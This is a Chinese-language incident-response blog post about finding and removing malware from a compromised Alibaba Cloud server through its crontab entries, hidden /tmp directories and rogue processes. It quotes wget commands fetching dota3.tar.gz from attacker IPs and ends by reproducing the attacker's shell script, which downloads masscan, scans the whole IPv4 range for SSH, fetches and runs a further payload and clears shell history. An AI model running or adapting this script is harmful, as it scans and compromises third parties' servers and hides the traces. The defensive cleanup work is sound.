凌晨的時候,收到阿里雲服務器的告警短信。緊急安全事件:訪問惡意下載源,訪問惡意下載IP。 瞬間驚醒,馬上爬起來處理。mysql
先登陸阿里雲後臺,查看安全中心的告警祥情,發現有幾條記錄:web
父進程路徑:/usr/bin/bash 父進程命令行:sh -c ./tddwrt7s.sh "http://67.205.135.65/dota3.tar.gz" "http://91.121.51.120/dota3.tar.gz" "http://51.75.28.134/dota3.tar.gz" "http://159.203.17.176/dota3.tar.gz" "http://46.101.113.206/dota3.tar.gz" "http://104.131.189.116/dota3.tar.gz" "http://81.12.13.145/dota3.tar.gz" >.out 2>&1 3>&1
父進程id:15912 進程id:15913 用戶名:user_web URL連接:http://91.121.51.120/dota3.tar.gz 進程路徑:/usr/bin/bash 命令行參數:/bin/bash ./tddwrt7s.sh http://67.205.135.65/dota3.tar.gz http://91.121.51.120/dota3.tar.gz http://51.75.28.134/dota3.tar.gz http://159.203.17.176/dota3.tar.gz http://46.101.113.206/dota3.tar.gz http://104.131.189.116/dota3.tar.gz http://81.12.13.145/dota3.tar.gz
父進程路徑:/usr/bin/bash 父進程命令行:-bash 父進程id:9071 進程id:9186 用戶名:user_web URL連接:http://45.55.129.23/dota3.tar.gz 進程路徑:/usr/bin/wget 命令行參數:wget http://45.55.129.23/dota3.tar.gz
root帳號,登陸服務器,排查問題。sql
查看服務器有無可疑的TCP端口:安全
$ netstat -lnpt
沒有發現很是用端口。bash
根據告警信息,拿進程id找對應的進程,一個都沒有找到。服務器
1、馬上作幾個操做:dom
1. 修改user_web密碼(當前服務器除了root,就只有user_web受權ssh登陸);
2. 修改root密碼,禁止root的ssh登陸(只能先登陸user_web,再切到root帳號);
3. 清掉root, user_web目錄下.ssh/authorized_keys 裏面全部公鑰(禁止全部密鑰登陸);ssh
而後,再一步步來查。
沒有找到對應的進程,看下是否是有crontab,定時執行,執行完進程就退出,找不到告警時的進程id。curl
2、查找服務器全部帳號的crontab:tcp
$ cat /etc/passwd | cut -f 1 -d : |xargs -I {} crontab -l -u {} ... no crontab for tcpdump no crontab for ntp no crontab for saslauth no crontab for mysql 5 8 * * 0 /home/user_web/.configrc/a/upd>/dev/null 2>&1 @reboot /home/user_web/.configrc/a/upd>/dev/null 2>&1 5 8 * * 0 /home/user_web/.configrc/b/sync>/dev/null 2>&1 @reboot /home/user_web/.configrc/b/sync>/dev/null 2>&1 0 0 */3 * * /tmp/.X25-unix/.rsync/c/aptitude>/dev/null 2>&1 no crontab for haproxy ...
發現了crontab,腳本在user_web目錄。
- 馬上刪除 /home/user_web/目錄下,crontab使用的 和 不認識的隱藏目錄。
- 查看是否是user_web帳號起的crontab:
$ crontab -l -u user_web 5 8 * * 0 /home/user_web/.configrc/a/upd>/dev/null 2>&1 @reboot /home/user_web/.configrc/a/upd>/dev/null 2>&1 5 8 * * 0 /home/user_web/.configrc/b/sync>/dev/null 2>&1 @reboot /home/user_web/.configrc/b/sync>/dev/null 2>&1 0 0 */3 * * /tmp/.X25-unix/.rsync/c/aptitude>/dev/null 2>&1
果真是user_web起的。清理user_web下全部的crontab。
$ crontab -r -u user_web
3、查找還有沒有使用user_web帳號運行的進程:
$ ps -ef | grep user_web user_web 25408 1 0 00:14 ? 00:00:00 /tmp/.X25-unix/.rsync/c/lib/64/tsm --library-path /tmp/.X25-unix/.rsync/c/lib/64/ /tmp/.X25-unix/.rsync/c/tsm64 -t 515 -f 1 -s 12 -S 10 -p 0 -d 1 p ip root 32695 30901 0 01:06 pts/1 00:00:00 grep --color=auto user_web
找到了user_web執行的進程,腳本文件所在的路徑,在 /tmp/ 目錄下的隱藏文件。
先殺掉進程:
$ kill -9 25408
進入目錄:
$ cd /tmp/
進入目錄,查看包括隱藏文件在內的全部文件:
$ ls -la
刪掉隱藏目錄:
$ rm -rf .X25-unix
4、根據告警中出現的進程路徑/usr/bin/bash,再次查找sh腳本進程:
$ ps -ef | grep sh user_web 3768 1 0 00:00 ? 00:00:00 /bin/bash ./go root 24487 1 0 Mar25 ? 01:53:25 /usr/sbin/sshd -D user_web 25403 25402 0 00:14 ? 00:00:00 /bin/bash ./tsm -t 515 -f 1 -s 12 -S 10 -p 0 -d 1 p ip root 30862 24487 0 01:37 ? 00:00:01 sshd: user_web [priv] user_web 30866 30862 0 01:37 ? 00:00:00 sshd: user_web@pts/1 user_web 30867 30866 0 01:37 pts/1 00:00:00 -bash root 30901 30896 0 01:38 pts/1 00:00:00 bash root 31799 30901 0 01:53 pts/1 00:00:00 grep --color=auto sh
又找到了幾個可疑的進程。查看進程信息,找進程執行路徑cwd,對應的執行命令cmd:
$ ll /proc/25403
找到進程腳本路徑,殺掉進程,再刪掉腳本文件所在的文件夾:
至此,清理完畢。
後續: 增強異地登陸的告警,強化帳號登陸的認證,添加部署谷歌驗證器(Google Authenticator)
後記,觀察幾天,再沒有收到阿里雲的告警信息。
附sh腳本源碼,請勿違法實驗,僅供學習研究:
#!/bin/bash if [[ $(id -u) -ne 0 ]] ; then echo "Please run as root" ; exit 1 ; fi PR=1 PR=$(cat /proc/cpuinfo | grep model | grep name | wc -l) ARCH=`uname -m` if [[ "$ARCH" =~ ^arm ]]; then echo "Arm detected. Exiting" exit fi if [ $PR -gt 9 ]; then echo "Too many CPUs. Exiting" exit else echo "CPUs ok" #random sleep, for flood protection rm -rf masscan* rm -rf input.txt* RANGE=440 s=$RANDOM let "s %= $RANGE" sleep $s echo "test" #is it good for masscan? wget -q http://45.55.210.248/masscan || curl -s O -f http://104.236.72.182/masscan sleep 25m chmod 777 masscan timeout 20s nohup ./masscan -p 22 --banner --rate 50000 --exclude 255.255.255.255 --exclude 10.0.0.0/8 --exclude 192.168.0.0/16 --exclude 127.0.0.0/8 --range 1.0.0.0-223.255.255.255 > input.txt sleep 1m got=$(cat input.txt | grep OpenSSH | wc -l | awk -F: '{if($0>1)print$0}') rm -rf masscan* # if got > 1000; good for masscan; else exit if [ $got -lt 1000 ]; then echo "Bad for masscan. Exiting" rm -rf input.txt* exit else echo "Good for masscan. Executing" rm -rf input.txt* #all good pkill -9 screen pkill -9 mass pkill -9 scan apt install expect -y yum install expect -y sleep 5s rm -rf /.a cd / mkdir .a cd .a wget -q http://45.55.129.23/mas.tar.gz || curl -s O -f http://45.55.129.23/mas.tar.gz sleep 25m && tar xvf mas.tar.gz rm -rf mas.tar.gz cd mass2ip nohup ./mass.sh >>/dev/null 2>1& cd ~ rm -rf .bash_history history -c history -nc fi fi